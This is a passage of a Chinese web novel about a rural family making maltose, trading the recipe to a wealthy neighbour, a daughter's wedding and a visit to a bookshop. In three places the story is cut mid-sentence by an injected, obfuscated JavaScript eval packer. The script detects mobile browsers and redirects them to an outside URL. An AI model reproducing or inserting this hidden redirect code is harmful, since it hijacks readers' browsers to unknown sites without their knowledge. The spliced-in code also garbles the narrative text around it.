发好麦芽，备用的糯米也得先泡两个时辰，再蒸至绵软，期间正好可以挑出麦壳，将麦芽淘洗、剁碎备用。 待得糯米蒸熟晾凉，将剁碎的麦芽混入，翻搅均匀，放入瓦盆，再以细布封口，加盖窖存五个时辰。 酵好的麦芽糯米已能闻见麦糖香。 瑛娘劲儿不够足，便叫了瑾娘来与她一起将麦芽糯米用细布绞出汁水，而后点上炉子架了小锅以大火熬煮，待得出了糖色，又转小火慢慢熬。 糖水一熬就是两个时辰，还时刻离不得人。 瑛娘只能与瑾娘换着做，后头实在受不住，才又拉了徐氏来帮着掌勺。 徐氏嗅着糖香倒没惦记着吃，脑子一醒，便琢磨起这东西能不能挣着钱——瑛娘拢共用了五斤麦、二十斤糯米，昨个儿还叫老三家的帮忙买了十个精巧的小陶罐来装，为这一锅糖便花了整整五百一十五文，若一罐似城头的卖个八十文，抛开本钱，算来也挣不得多少。 徐氏撇了撇嘴，这才想通瑛娘做这糖真真儿只是为了甜嘴。 “一锅熬来得去七日，你也是闲得没事儿做了。想吃糖叫奶去买不成么？” 瑛娘笑着将熬好的糖趁热分装，扯了油纸扎紧封口，锅底余下的到叫她用筷子搅了搅，与徐氏和瑾娘分了。 “自个儿能做，又何必去买别家的？奶且尝尝这糖滋味如何。” 纯粮食做的糖味道自然好，且麦芽清香、江米甜糯，瑛娘火候又掌得极好，这糖稀冷却也没多增硬度，搅一筷头来含着便是满嘴甜香。 徐氏又不是真怪她，笑得合不拢嘴，只道今年可不消买那城头的糖了。 城头卖的糖分两种，一种是八十文一斤的普通糖，另一种则是三百文一斤的红糖。 这两种糖都出自北地，普通糖质地较硬，常做蜜饯、甜饮子所用，而红糖口感绵密，挑一撮冲了温水就能喝，寻常人家只逢年过节时待客才用，所以城头也按两来卖。 瑛娘此前去城头看过，估摸着因着货运艰难，这些糖的销出价格在北地至少得压个五成余，再除开劳力成本，粗略估算，普通糖的原料得压到五文上下才有赚头，而红糖也顶多六十来文。 两种糖价之差，想来该是原料所用有别。 按地域来看，北地盛产菾，菾价低廉，约摸五斤能出一斤糖，在距北地千里之外，卖个八十也不过分。 而红糖出糖一斤需得十二斤甘蔗，这十二斤甘蔗听着多，实际算来也不过两三条，一条三十来文，确是算得价高。 如此对比，眼下倒是自家做来的麦芽糖更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913606|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 省些。 好歹用的都是粮食不是？ 徐氏不好用牙咬着糖吃，含在嘴里半晌才吃完，瑾娘却嚼着吃得喷香，吃过还小声与瑛娘道：“滋味比表哥送我的更好。” 云家表哥送的糖也是麦芽糖，只那麦芽糖没用糯米，是麦芽发酵后与番薯同熬，得了糖浆凝的块，叫城头吃红糖的人区别为饴糖。 番薯贱价嘛，做来的糖块自然价格低廉，寻常人也能吃得起，但熬糖费功夫，做这营生的也就在周边村子来往卖卖，大王村的想买还得叫别人捎带，所以整村儿也就得云家表哥贴补的瑾娘才时常拿得出来。 提起云家表哥，瑾娘神情微顿，却是有些落寞。 自定下亲事来，云家表哥总会在每月初来一趟大王村，不拘糖块、头绳，多少会予她一些小物作礼。 倒不是贪图东西，只云家表哥从未逾过三日迟到，眼下已是冬月下旬，这人却还不见影，瑾娘如何能不忧心？ 瑛娘也只她近期时常心不在焉，见状搂着她拍了拍，“许是有什么事耽搁了，若真出了意外，舅舅家也不会不来报个口信。” 瑾娘扯起嘴角笑了笑，只心绪如何，一时却是转不过来的。 家里熬了糖，最开心的莫过于小老九汪连。 汪连长这般大还未吃过成团的糖，这麦芽糖用筷子一搅，吃着玩，玩着吃，吃过还恋恋不舍地舔着块头不肯松口，瑛娘索性把锅头剩下的全给了他。 林氏却是不敢叫汪连放开了吃，又给他挑了一筷头便用油纸将剩下的全包了起来藏进屋里。 家小都尝过鲜，瑛娘才开口道糖罐归属。 “爷奶两罐，咱们各房自领一罐。余下的，一罐送给舅爷家，好叫表叔表哥们来年多挣些钱与我分，一罐给四姐来年出门时带过去甜嘴，剩下两罐……爹娘，二叔、三叔、四叔，且看看有没得那紧要的礼需得回得大些的，这糖罐子也好添作彩。” 农闲时总是凑堆儿的办喜事，瑛娘打十月至此时便已吃过两回酒，听得村口婆、婶摆闲，似是瑾娘出门前村正家也有门喜得迎进门，这糖罐子送过去倒也增面儿。 “村正是咱本家儿，送糖添礼确是不错。” “还是瑛娘想得周到。” 送过村正家，这糖便只剩一罐儿，林氏、陈氏虽都记挂着娘家，但这糖毕竟是瑛娘的，总不能两人就这么当着家小的面儿争抢起来。 没人争，这糖的归属自是随瑛娘心意了，目光扫过这一屋子老小，却是抬手将罐子递给了徐氏，“这糖不好多存，两月吃不完，待得开春便可能坏。奶去给舅爷家送时不如给秦老爷家也送上一罐，若秦老爷一家子老小觉得味儿不错，想自家做了吃，便把方子一并送他。” “啊？” 徐氏不知道瑛娘送罐糖怎么还扯上了“送方子”，心不甘情不愿将糖罐子收下，回头送去秦家时，却还是依言与秦老爷提了提方子。 秦老爷其实也就是个三十几岁的青壮，只是细皮嫩肉又生得富态，常带笑脸与人甚是和善，十里八村的都愿尊称他一声“老爷”。 徐氏送上自家做的麦芽糖，秦老爷自是兴味盎然，当即叫仆从拿了平时吃蜜饯的银签子来，挑了些来搅了搅含进嘴里。 糖饴入口，秦老爷登时眼睛一亮，又用牙咬着吃了吃，感觉粘牙却不伤龈，吃过之后又有回甘，听得徐氏要送方子也是不可置信。 “这糖比北地来的糖滋味更好，自家能做，何不以此做个营生？” 自然是因着本钱过高啊！ “秦老爷，这糖是那江米做的，真要做营生，咱家也拿不出恁多本钱啊。” 江米价高，这糖再好比不得红糖，只能泡了水或是吃个闲趣，真用来做甜口的小食也不如北地来的糖方便，如此境况，做多了也卖不出什么价。 秦老爷恍然。 整个骏阳府就他秦家种江米，别家便是想做也得先从他这儿过一道，除非江米折价，不然这买卖还真就只能他来做，但这徐氏看着也不像能舍了方子送人的…… “却不好真白拿你家的方子。好歹是个能甜嘴的小食，这方子便算我买的，与你二十两银，如何？” 时下良田一亩六贯钱。 二十两银换得铜钱，再贴补些就能买来四亩地。 徐氏倒吸了一口气，脑子一空，险些把瑛娘交代清楚的方子全忘了。 偏生临了出门前瑛娘特意叮嘱过不许收银钱，二十两银触手可及，徐氏好悬没落下泪来，赶紧垂下眼将瑛娘教的说辞一骨碌全吐了出来。 “秦……秦老爷着实客气！我家里头有个孙女不懂事儿，偏就馋你家林子里的柿子果儿，今年闹了好几回也没能吃上……若秦老爷能每年舍一些给家小，自不必多计较这糖方子，总归都是吃着耍的玩意儿，不值当……哪需得拿恁多……银钱来买。” 柿子一斤八文，吃着耍的，便是秦老爷大房也顶了天儿舍个十几二十斤，便是舍个一百年也舍不出二十两呀！ 徐氏越琢磨越想哭，眼见秦老爷当真有所思，连忙掩面按了按眼角。 秦老爷看得想笑，心头也越发确定这糖方子换物不是徐氏想来的主意。 不过两厢满意自比直接银钱买断令人爽心，不管想换柿子的是谁，给多给少都由他来决定，总归碍不着家里娘子的蜜饯生意。 “徐大娘倒是爱重孙女，与之常人大有不同。如此，每年柿子收成我都叫长工单给你家备上五十来斤，大娘可觉满意？” 这数远超徐氏估算，自是忙不迭应了下来。 麦芽糖不难制，秦老爷手底下多的是那等会做活儿的长工，只是毕竟牵扯制糖事宜，秦老爷便叫了府上得力的管事，将徐氏所言录于纸上。 得亏徐氏记得牢，说罢又叫管事念了念，确保没错才算完。 秦老爷手头生意涉及虽广，但北地的糖业他却是无力触及，听得这糖方子如此工序，便不觉设想那北地的红糖是不是也能套用此法，教徐氏来换柿子的人是否见识过北地红糖的工序。 不过眼下那人既没心思露面，他也不好多为难徐氏，索性以诚相待，好叫那人安心，指不定将来还有机会。 “徐大娘且稍候。” 秦老爷叫来仆从，自库房取来一只巴掌大小、金丝镶边的木匣子。 “得以方子，多少算我秦家占了便宜，这匣子里是早年间我娘子制备与闺女的年礼，可惜我家没得生闺女的命，多年盼来也只盼得一个臭小子。大娘家里的孙女儿得意，这匣子便给了她做今年的年礼，来年得空，也叫她来上湾村走动走动，我家果子林里自由她吃去。” 这匣子一看就不会装那寻常物件。 徐氏看得咋舌，想着替瑛娘收个年礼也不错，总归不是银钱，便是收了，瑛娘也不好与她置气。 “那便谢过秦老爷了，来年丰收，我指定带孙女儿来摘果玩儿。” 秦老爷笑着将徐氏送出门，扭头便叫管事取了新麦泡上，过几日好试那方子，“若做成了，来日你再送些江米去那徐婆子娘家，叫她娘家子侄帮着送去大王村。对了，北地那边，叫商队送些菾和蔗来。” 左不过都是熬糖，试出来纯赚，试不出也不吃亏。 离了秦家，临了晚食时徐氏才归得家。 这一路徐氏都忍着没开那匣子，进了院门见得瑛娘正搅了糖丝耍着汪连玩儿，连忙将人拉进了正房，喜笑颜开与她看匣子。 “快瞧瞧！不枉我今日在秦家待恁久！这是秦老爷送你的年礼，说是给自家闺女备的，嘿！光匣子一看就是个金贵的，且不知里头是个甚呢！” 普通农户可没那等与女儿家备精细年礼的本事，不过既都是闺女，备礼左不过都是些坠子、镯子等精巧小物，指不定还不如这匣子上镶边的金丝值钱呢。 徐氏抻着脖颈想瞧个究竟，瑛娘便打开了与她瞧，谁知匣子里竟是一对儿镶金的玉钏，只看质地、做工，怕也不是那等寻常货。 徐氏没料到自己想讨巧反倒讨回来一件远超二十两的金贵物，屏息盯了半晌，才一口凉气倒吸，回神来连连倒退，道：“我当真不知这匣子里装的啥！这秦老爷莫不是个败家子？镶金玉也敢随手给我一个老婆子？！” 瑛娘虽也有些许震撼，但观这腕钏尺寸只适合六、七岁的孩童佩戴，便问叫徐氏将她在秦家的言行一一与她说了。 “这么说，秦老爷是把我当作月娘了？” 徐氏的确没说瑛娘年几何，只提孙女儿馋嘴，叫秦老爷误以为那孙女儿所指乃六岁的玥娘，以此作礼，倒不见得有什么深意。 “那叫你说，秦老爷就是纯粹想与咱们卖个好了？” “兴许。” 不过听得徐氏转述，那秦老爷子多半是自悟了她送糖方子的真意。 且再等个一年半载，若秦老爷当真如她所想那般聪明正直，接下来的大买卖可就有得那帮忙出钱出人的“股东”了。 得了这么个金贵物，徐氏也不记挂那“白给”的糖方子了，“将匣子好好收着，等你嫁了人，有了闺女，才好给她戴着玩儿。” 瑛娘一哂，抱了匣子便回了大房。 这东西再金贵也是个给小孩儿戴的玩意儿，玉也不比金银保价，索性秦老爷误认了玥娘，这腕钏便叫玥娘戴了也无妨。 玥娘年幼懵懂，瑛娘叫她戴她便也戴了，偏生寒冬腊月的少洗澡，云氏愣是过了好几日才察觉幺女手上多了这么一对金贵小物，登时吓得就要摘了。 玥娘自是不愿意，连连转身躲开云氏，被拽疼了便嚎：“这是七姐给我开的工钱！七姐！七姐！娘要缴了我的工钱！” “……” 云氏气紧，抓不住泥猴儿样的玥娘，扭头就去找瑛娘算账。 瑛娘被扯着耳朵念了足足半个时辰才被放过，好在云氏自知拗不过这女儿，只得又逮了玥娘耳提面命，叮嘱她无论何时出去耍都不得脱了这腕钏。 玥娘捂着嘴直笑，眼珠子一转便与云氏承诺，道：“我还跟着七姐做活儿，来年给娘也挣个金镯来！” “……” 24. 年终 自入了腊月，瑛娘便愈发不想出门，每日歪在床上不愿起，拖得瑾娘也上床披了被子绣鸳鸯。 瑾娘本也是不从的。 但久久未来探望的云家表哥前些日子托了人送来手信，告知瑾娘他十月来过便跟了商队出去走商，得待腊月尾根儿才得空回来。 瑾娘心头落定，又被云氏催着做绣活儿，这才叫瑛娘紧赶慢赶染了红方布，将自己练了无数回的鸳鸯往上头绣。 这回染布，瑛娘还歪缠了徐氏兑现，愣是从她手头掰扯来八百个钱，不仅买来两匹棉绢，又自个儿贴补了些，买来一笼拼了十来样的点心，这样一笼点心便得二百来文，再加调制煤染液的白矾、生盐、来年要用的石灰，这一去城头便没了两贯余。 也亏得几样营生持续与她结着利，不然这般抛洒，来年连本钱都拿不出分毫来。 一缸煤染液的成本就摆在那儿，徐氏见不得她浪费，索性把备了与汪辰相看好过采的布也拿了出来，云氏那头也与瑾娘备了两匹，这才叫瑛娘一并染了。 见她们都有亮丽的新布，小林氏抚着肚皮有些黯然，好在汪会不是那等榆木，林氏也不至于多抠搜，便也买来一匹棉绢，托了瑛娘帮忙染。 二房三房都算凑了热闹，徐氏也不好只叫何氏干看着，索性那鹅黄复染几次色着更深，染了来制成夏衣也适用，便又拿钱买了两匹布来，好叫云氏、林氏、陈氏、何氏各裁一身新衣裳。 “想染便都染，染好了瑛娘算出本钱，各房自按各房染的量来摊。” 左右不需自己出劳力，染多染少瑛娘都觉无所谓，但染一家布和染多家布可有得盘算，拖了徐氏来便要她再掏些钱。 “奶恁大气，倒不如直接帮咱们把本钱都出了？” “……” 徐氏瞪了一眼瑛娘。 但多的钱都出了，这两三百文也不值当计较了。 “也就你了！叫他们来歪缠，看我不锤他一顿？” 瑛娘笑嘻嘻的跑走，调好了煤染液，只管支使汪会、汪辰来染布。 新布染好裁了衣裳，瑾娘的喜帕也差不多收了线，眼看便是新年。 腊月二十四，扫尘。 除了二房的菽乳还在做，三房的面摊子、大房四房的薯粉生意都停了下来，另头老徐家也暂缓了营生，趁着年前空闲，把账盘好给瑛娘送了盈收来。 “今年亏得瑛娘想法儿，咱家可是攒了好大一笔盈收！” “表叔表哥无须客气，来年还有新鲜儿，若得空也需得你们帮着做。” “行！有事自叫你奶与我们打声招呼就成！” 送过老徐家的表叔表哥，瑛娘也得空盘了一下自个儿的账，几门子营生单看利薄，合算下来，却自十月分利起便叫她得了七贯余。 其中两贯，她分两次兑回了一两重的小元宝，一锭给了瑾娘压箱底，一锭等着年初一再给云氏做年礼。 余下五贯多，瑛娘按兑税分出了四串，又抛开待结的三百二十五文，留下一捧却差了二十七文才够一串。 “……”早知如此，染布就该收些辛苦钱来凑凑。 不过来年还有得那花钱的地方，这千把文钱便作日需了。 瑛娘这些个且是小账，徐氏手里才捏着大头。 几门营生结余，便是还过娘家的饥荒，徐氏手头也还剩得三十七贯。 这三十七贯换作银子也得三贯多兑税，徐氏自是舍不得去换的，但耐不住瑛娘常在她耳根头念叨，她便也找了机会进城，换来了三锭十两的银元宝，如此一来，加上最初时借瑛娘那珠子典换的银角，这两月下来徐氏手头便攒下了三十一两三钱银并四千七百个铜板。 除徐氏外，大房、四房各进一千五百多文，二房进三千七百来文，三房最甚，结余十贯！ 便是汪点水和陈氏也没想过两成分利都能得这许多，连着说了几日私话，便壮着胆子在饭桌上与汪木匠和徐氏商量要去城头租个铺子。 “咱家面摊子实在热闹得紧，便是酉时收摊也有食客嫌早。我便想着要么能租了铺子好生做，平日就住在店里头，等农忙了再关了铺子回来忙活田里的。” 汪木匠和徐氏收了些许笑意，沉着注视汪点水和陈氏，直叫他们受不住埋下了头才收。 徐氏重重一“哼”：“咱家是农户，农闲时做个营生也没人管，但租铺子是商户才做的，你们要去，是想转了商籍去么？” 阶层分明。 按理说官府是不允士、农跨商籍的，但只种田养不活一家老小，只读书也没得钱来维持生计，便是京城根儿底下也多得是那高官妻子营商，如此上行下效，自然没恁多管闲的了。 但农户终究与士卒不同，除非一家子能以农户之身供出来个举人，叫官府列入举籍，这一家子才能随之得道，免地税、减徭役。 商户同其道，只商户大多不缺钱花，便是供个几门读书人也不差，自比农户更易得道。 汪木匠会识些简单的字，因此这一家子老小也不全是盲流，但毕竟学识有限，教给儿孙也只能让他们勉强识识数、算算账，不至于连交个税、卖个粮都叫人糊弄。 目光扫及一桌子深思各异的儿孙，汪木匠心如明镜，拉了徐氏一把，只叫汪点德来答：“小老二、小老三、小老五、小老六都已经过了读书的年纪，只小老九还有来日可期。如今你们二房有自个儿的营生，供个读书人应也不差，端看你和你媳妇如何想。” 此前，汪点德和林氏可没想过供孩子读书，眼下一提，又摸着分来的盈收，便不自觉往汪连学有所成的场面构想。 小老九翻过年才五岁，若是现在开蒙……读出来该也有望。 若小老九不成，老日大孙儿也能读，大孙儿不成再盼二孙、小孙……总不能各个都不成。 林氏呼吸一紧，抓着汪点德便要叫他表态。 汪点德自也不是那等傻子，反手握住林氏，便双眼如炬望向汪木匠和徐氏，“爹、娘，来年春耕后我便送了小老九去开蒙。” 汪木匠扯了个笑，又看其他三房，“咱们家不兴分家，小老九读出来，你们这些叔伯兄弟都能沾光，所以小老九读一日，公中便出他一半的读书钱，你们可有意见？” “没意见。” “读么！小老九能读也是好事儿，咱家现在能挣钱，叫小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919017|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老九读出来，将来也不怕去城头开铺子。” “二哥二嫂只管叫小老九安心读。” 汪木匠满意地点了点头，“开蒙拜师得被备礼，老二，老二家的，你们先打听好哪处的先生好来往，备礼又需得备哪些，待开春办完瑾娘的婚事，你们便仔细了去备。” “知道了，爹。” 汪连读书的事儿拍定，三房租铺子的打算却只能落空。 徐氏叹了口气，下意识扭头看瑛娘，却见她一口一个团圆吃得好是满足。 “……” 因着秦老爷大方，一气又送来足足百斤糯米，先头徐氏买来做糖剩下的那三十来斤，便叫瑛娘全磨了粉。 三十斤糯米出了三十斤糯米粉，瑛娘取了六斤和成面，包上炒熟的芝麻、花生、少许猪油，足足出了三百个大小近同的团圆来，剩下的再存备今后做着吃。 这团圆不可久放，瑛娘便支使徐氏给秦家送了五十个，给舅爷家送了百来个，剩下一百五全叫她一锅煮了端上桌。 家里十九张嘴，这一百五十颗团圆也能吃完，但这用料金贵，徐氏只觉吃一口都跟吃钱似的，噎人。 “……瑛娘，小老九来年就去读书了……你觉得如何？” “嗯？”瑛娘未明其意，抬头瞄了一眼也正吸溜着吃团圆的汪连，“读书好啊，弟弟这年纪读书正好。” “嗯……那你瞧着，你五哥六哥是不是也得做些什么？总不能见天儿往那山头去？” “奶！” 汪文、汪武这俩月也都没闲着，逮来的兔子、野鸡也足足卖了两贯余，便是他们八个小子分，一人也分得了二百五十七文，加之瑛娘还与他们做了一门买卖，晒干的栀子二百五十斤，晒干的茜草根八百斤，如此一算，一人又得四十来文。 因此，两兄弟都没觉得那山头有何上不得。 “你们几个小子也是运道好，若遇了荒年，仔细那山里头的大虫跑出来吃人！” “咱们这儿怎么可能荒？再说，我们也没往那深山去，都是时刻注意动静的。” 徐氏还是不允，只叫他们安生在家待着，等开春了好给瑾娘送嫁。 “等瑾娘的事儿办完了再说，瑛娘也把事儿往心头记一记，好叫你五哥六哥做门正经营生。” “……”两兄弟拗不过，只得埋着头与那团圆较劲。 瑛娘心里倒是约摸有了打算，但眼下不好提，提了这两兄弟一时半会儿也做不来。 还是待得瑾娘嫁了再做打算。 “对了奶，年后二叔、四叔也不必日日与我结算盈收了，就按舅爷家的，每月记一笔总盈收，月尾该分我多少便分多少。” 徐氏虽不用算账，但挣的钱多了，老二老三又盘算着日日再多忙些，每日怕是连晚食都没得一起吃，瑛娘愿按月结，她自然再同意不过。 “行，便这般定下了。今后我这头的也按月结，你们自个儿把每日的账盘清楚，别到了月尾再来查漏。” “明儿个就是除夕，一会儿杀鸡杀鸡、该炖肉炖肉，可别叫桌上少了菜色。” “今年咱们过的丰年，只盼来年更加红火！” 25. 出嫁 正月十八，诸事皆宜。 卯时刚过，瑛娘就被云氏从被窝里拉了起来帮手，瑾娘则穿了新衣坐在窗前梳头、绞面。 一梳梳到尾，二梳白发齐眉，三梳子孙满地，四梳永谐连理，五梳和顺翁里； 六梳富林家地，七梳吉逢祸避，八梳一本万利，九梳乐膳百味，十梳百无禁忌。 琼娘出嫁，云氏正缠绵病榻，这回瑾娘倒得以圆满，由她这个娘亲梳了个全福头，绞面也请来了云客族中的全福奶奶来做。 “去污求吉利，健康到百年。” 开过脸，瑾娘便算得云家妇。 云氏热泪盈眶，掩面按了按眼角，才叫新女婿云客来背她出门。 新妇出门，娘家得叫新人吃了面条再走。 自打进门，云客咧着嘴就没放下过嘴角，瑾娘倒是先抱着云氏哭了几声，等到两人分吃了面，瑾娘羞得满面通红，待得云氏亲手将喜帕给她盖上，才被云客背到背上。 “娘，我们出门了。” “去吧。” 新妇由新郎来背上牛车，送嫁的娘家兄弟便只需挑了嫁妆箱，抱着喜被、喜盆，跟着牛车一路将新妇送到婆家，住上一夜，才算这婚事圆满。 因着老汪家人口多，汪文、汪武待在家头也没甚要紧事可做，这送嫁的事儿便由他们两兄弟来做。 待送得云家人出了大王村，这头老汪家才开了席答谢帮手的亲朋。 五桌正席，除了瑛娘琢磨来吃的花生芝麻馅儿团圆，自家做的菽乳，还有打老徐家买来的杂碎汤、卤肉做菜，汪文、汪武抓来的兔子也杀了三只一锅炖了，再配上大白米饭，任谁吃了都夸老汪家办事儿地道。 等吃过了抹干净嘴，这些个亲朋便就地摆起了闲。 “前头辰子说亲都难，眼瞅着两三个月，这一家子竟又立起来了！” “也不瞧瞧木匠家现在做了几门营生？诶，你说咱怎么就想不到去城头支摊子卖面呢？” “可不是！” “还有这菽乳，白嫩嫩的，炖个素的都能吃出肉味儿，瞧着不是恁些豆子磨的么？也不知道咋做出来的。” “叫你知道了又如何？一方也就挣个一两文，都是辛苦钱。” “诶，你们说，这团圆儿真是江南府那边的金贵物？木匠家的是咋跟秦老爷搭上关系的？” “秦老爷和善，徐婆子娘家兄弟子侄都在秦老爷手底下打短工，能搭上话，正常。” “真是一桌子稀罕物！” 倒是没人说那等讨人嫌的话。 老汪家这一顿吃完，大王村陆续又办了几场喜事，待得二月初，各家各户开始准备春耕事宜。 因着春耕紧要，老汪家的营生也得先靠边。 徐氏抓紧清点了粮仓里头的余粮，见原本装得满满当当的粮仓眼下只余昨年的新稻，没忍住一叹：等忙完春耕，老三家也得花钱买麦了。 不过面摊子生意好，那点子麦钱也算不得啥，总归赚的才是大头。 二房的菽乳也不拘只收银钱，可叫十里八村不愿花钱的直接拿了菽来换。 就是这稻米不经吃，余下的新稻若还似年根前儿那般顿顿吃干的，怕是出不了五月就得吃干净。 徐氏见不得粮仓空，盘算着忙完春耕还得去城头粮铺多买些米、麦、菽、薯回来存着。 育好种，老汪家男丁全都下了地，家里头四妯娌忙着灶头一日三晌，徐氏和瑛娘则分了看顾小林氏、玥娘和汪连的轻松活儿。 徐氏记挂着再叫汪文、汪武忙完春耕也做点正经事，喂完鸡，扭头又找瑛娘合计：“等家里头忙完，奶得进城去买粮。瑛娘有啥想买的？到时奶帮你一起买回来。你得空帮你五哥六哥琢磨个什么活儿来做着，过两年也才好相看。” 前头喜事办得好，十里八村的也传开了老汪家的近况，成了老大难的汪辰也重新开始相看，徐氏便开始忧着这两个紧跟着就要到岁数的小子。 瑛娘理解，但不支持，见小林氏扶着肚子三步一顿地回了屋，才拉着徐氏在檐廊下坐着看汪连撒混。 这小子这段时日吃惯了糖，汪点德在家还唬得住，一个不在，这小子为了吃糖就得闹上天去，吵得瑛娘耳根子没个清净。 “奶何须着急。五哥六哥才多大？便叫他们整日待在家里也收不住心。叫我说还不如丢去镖局、商队做个学徒跑腿，来日家里真混出了头，再做什么能存的好物也好叫他们捎出去卖得更贵些。” 丰县有名头的镖局和商队都跟秦家挂着勾，两家也算好言来往过两回，只丢两个小子过去练练，秦老爷应该也愿意做面子。 但徐氏有些迟疑。 要说商队，老汪家的新女婿云客也是去过的，一去两三个月，回来瘦得跟猴儿似的，还晒得黢黑，也就跟她们瑾娘早下了定，不然指定不好相看说亲。 自家这两个小子样貌还不如云客，将来一瘦、一黑，谁家闺女瞧得上眼？ “……照你说，是琢磨着以后不做别的吃食营生了？” 吃食最是暴利。 三房的面摊子叫徐氏挣得盆满钵满，便也盼着汪文、汪武两兄弟也做个能挣着钱的。 瑛娘点头，道：“吃食做起来简单，没甚意思。” “……”徐氏嘴角一抽，半晌才找回声音来，“那你琢磨着能做些啥？便是你五哥六哥忙过春耕就去商队做学徒，一时也帮你捎不了货啊！难道做了还叫你二叔一并挑了去十里八村的卖？” “不。” 再要做的，可不好在村头卖了。 打从冬日闲下来，瑛娘便开始琢磨怎么着才能把路子铺出来。 秦老爷那边意外的好相处，但她毕竟没露过面，要紧事儿也不好再叫徐氏转述，所以一时倒也不必考虑与秦老爷合伙。 但农户得从春耕忙到秋收。 春耕完，家里得留着好几口劳力看顾田地，汪点柱和汪点水的薯粉得停做，二房的菽乳也只能汪会一个挑出去卖，少不得得减量，三房的面摊子更是只敢叫陈氏和汪辰去支应，忙不过来也得少搓些面团。 因此，这大半年来整家儿的盈收都要削减。 亏得前头瑛娘也攒了九贯余，不然今年要做的还真有些铺展不开。 徐氏掌着公中，盈收更得削减泰半，家里能受瑛娘支使的也就汪文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935666|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、汪武两兄弟了，所以才急着要叫他们也做些正经的营生，好与她分钱。 “好瑛娘，你到底要做个啥？该给奶说道说道吧？” 瑛娘也想多挣钱。 除了吃食，利最厚的无疑是女子喜爱之物，以及读书人日日需用的笔墨纸砚。 胭脂口红、笔墨纸砚瑛娘都会做，仓里也藏了不少。 但仓里这些东西用料上乘，她却不好贸然往外兜售，还得先做出个样子才好往连带着外销。 且读书人的生意向来都有权贵参股，城头那些给得出价的娘子偏好如何她也不知，所以还得再去城头，看看坊市和西市的情况才好琢磨。 “奶哪日去城头？我也一块儿去。” 老汪家缺了徐氏和瑛娘也不碍事，小林氏眼看着就要生，徐氏索性借着去城头买红糖的机会把瑛娘也捎带上。 从大王村到丰县，一个时辰的脚程，瑛娘还是头回靠自个儿的双腿走下来，便是春暖乍寒，这一路走到城门根儿前，她也出了好一身汗，徐氏怕她叫风一吹受了凉，赶忙去买了碗红糖姜饮来叫她喝下。 辣乎乎的甜汤下肚，瑛娘也算缓过了劲儿。 东市常往来者多为农户及普通商户，眼下农忙，连带街市农集也冷清了许多。 不过没得那般人多，倒显出了书肆、布行的热闹，瑛娘在茶饮摊子坐了半个时辰，便发现好些衣袍用料十分普通的读书人自书肆进出，也有不少擦了香粉画了眉的年轻娘子出入布行。 瑛娘毕竟是个女子，哪怕尚且年幼也不便与那自持的读书人搭话，但女子无需设防，便叫她挑了个妆容少且精致的年轻娘子搭上了话。 “冒昧打扰姐姐了。不知你所用香粉、口脂是在何处买的？我瞧着着色亲肤，也想买些试试……” 这娘子年若双十，虽身着素白棉绢，头上却簪了两支鎏金的银簪，手部肤色白皙，肤纹亦是完全不同于大王村常见的妇人粗糙，显然无论藏闺时亦或嫁到婆家后都未曾受过劳苦。 听得瑛娘打听，娘子并未隐瞒，只柔声道：“这些都是坊市街头摊贩所卖，若小娘子喜欢，自可去坊市街头逛逛。” 摊贩售卖，自是说明这些东西不比文房用具监管严格，瑛娘要做便有机可乘。 但摊贩只图小利，定价当是与她仓里藏着那些不匹配，而价过高也不适合在街头叫卖，所以还得想办法看看西市那边有无合作可能。 瑛娘心头有数，与那娘子谢过，待她走远，才叫徐氏与她一起进书肆打听。 “真……真要去书肆啊？” “小弟春耕后不是要读书？读书可少不得笔墨纸砚，奶现在不问又何时问？” “……”徐氏虽不怯于与大户富人交谈，但读书人终归属于另一“层面”，天然的身份差距便让农户下意识敬而远之，“当真要去啊？” “自然。我也有些东西要买。” 徐氏踟蹰半晌，见书肆堂中一时无客，终是被瑛娘“挣大钱”的前景诱着踏进了书肆。 书肆伙计正于柜前理货，听得动静回身招呼，见来人只是身着布衣的婆子和小娘子，一时笑意浅淡，“二位买甚？” 26. 台秤 没得读书人，徐氏可不怕与店中伙计交谈，迎着伙计颇有些不耐的目光也蹙起了眉头，“我给孙子买纸笔，价如何？” 这伙计端是个看人下碟的，见徐氏如此，他脸色倒是好了许多，离了柜台便与徐氏说价：“普通竹笔一支一百文，好些的三百文，纸分粗纸、细纸，粗纸一刀三百文，细纸八百文。端看客人需得哪种。” 徐氏哪儿知道买哪种？扭头去看瑛娘，却见她已拿了一本书且读着呢！ 瑛娘正看这书肆所售书册。 摆在外头的书册多是笔力不同的誊抄之作，其中不乏开蒙之用的《千字文》、《三字经》、《幼学琼林》，瑛娘各选了一本方正光洁、纸面干净的问价，却被徐氏拉着低声耳语，“瑛娘，你会认字？！” 这书中的字瑛娘自是认了个大概，但眼下不便细说，便只抬手指了指天。 